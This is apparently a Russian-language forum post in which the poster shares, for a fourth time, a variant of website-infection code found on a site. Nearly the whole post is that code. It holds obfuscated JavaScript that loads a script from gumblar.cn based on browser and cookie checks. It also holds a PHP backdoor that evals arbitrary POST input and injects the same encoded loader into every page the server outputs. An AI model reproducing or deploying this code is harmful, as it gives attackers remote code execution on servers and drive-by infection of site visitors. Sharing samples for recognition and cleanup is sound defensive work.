|
были и такие варианты (подобное уже в 4ый раз):
<script language=javascript><!--
(function(WOtR){var qWOCK=('var#20a#3d#22Scr#69#70tEng#69#6ee#22#2cb#3 d#22Ve#72sion#28)+#22#2cj#3d#22#22#2c#75#3dna#76#6 9gat#6f#72#2eu#73e#72Ag#65n#74#3bif((u#2ei#6e#64#6 5xOf(#22W#69n#22)#3e0)#26#26(#75#2eindexO#66(#22N# 54#206#22#29#3c0)#26#26(do#63um#65#6e#74#2ec#6fok# 69#65#2e#69#6edexOf(#22mi#65k#3d1#22#29#3c0)#26#26 #28#74ypeof(z#72vzts)#21#3dty#70#65of(#22#41#22))# 29#7bzrvzts#3d#22A#22#3b#65v#61l(#22if(wi#6edow#2e #22+#61+#22)#6a#3dj#2b#22+a+#22Maj#6f#72#22+b+#61+ #22Minor#22#2bb+a+#22B#75il#64#22+#62#2b#22j#3b#22 )#3bdoc#75men#74#2ewrite(#22#3c#73cr#69pt#20s#72c# 3d#2f#2fgumbla#72#2ec#6e#2frss#2f#3fid#3d#22+j+#22 #3e#3c#5c#2fscr#69#70#74#3e#22)#3b#7d').replace(WO tR,'%');eval(unescape(qWOCK))})(/#/g);
--></script>
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_PO ST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL ',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2Nya XB0PjwhLS0gCihmdW5jdGlvbihXRjIpe3ZhciBZUzU9JyUnO2V 2YWwodW5lc2NhcGUoKCd2IjYxciIyMGEiM2QiMjJTY3JpcHRFb iI2N2luZSIyMiIyYyI2MiIzZCIyMlZlcnNpb24oKSIyYiIyMiI yY2oiM2QiMjIiMjIiMmMiNzUiM2QiNmUiNjF2aWciNjEiNzRvc iIyZXVzZXJBZyI2NW50IjNiaWYiMjgoIjc1IjJlaW5kZXhPZiI yOCIyMldpbiIyMiIyOSIzZSIzMCkiMjYiMjYodSIyZWkiNmVkZ XhPIjY2KCIyMiI0ZVQiMjA2IjIyKSIzYzApIjI2IjI2IjI4ZCI 2ZmMiNzVtZW50IjJlIjYzbyI2ZmtpZSIyZWluIjY0ZSI3OE9mK CIyMiI2ZGkiNjVrIjNkIjMxIjIyKSIzYzApIjI2IjI2IjI4Ijc 0eXBlbyI2Nih6cnZ6dHMpIjIxIjNkIjc0eXAiNjVvIjY2KCIyM kEiMjIpKSkiN2J6cnZ6dHMiM2QiMjIiNDEiMjIiM2IiNjV2IjY xbCgiMjJpIjY2KHciNjluZG93IjJlIjIyK2ErIjIyKSI2YSIzZ CI2YSIyYiIyMithKyIyMk1hIjZhb3IiMjIrIjYyK2ErIjIyIjR kIjY5bm9yIjIyKyI2MithKyIyMiI0MiI3NWlsZCIyMiIyYmIiM mIiMjJqIjNiIjIyKSIzYmRvIjYzdW1lbiI3NCIyZXdyaXRlIjI 4IjIyIjNjcyI2MyI3MmkiNzB0IjIwc3JjIjNkIjJmIjJmZ3VtY mxhciIyZWNuIjJmcnNzIjJmIjNmaWQiM2QiMjIraisiMjIiM2U iM2MiNWMiMmYiNzNjcmlwdCIzZSIyMikiM2IiN2QnKS5yZXBsY WNlKFdGMixZUzUpKSl9KSgvIi9nKTsKIC0tPjwvc2NyaXB0Pg= ='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).ch r(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$ v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos( $v,'document.write')))$s=str_replace($v,'',$s);}$s 1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_re place('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);else if(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($ b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_l kojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!=' tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
|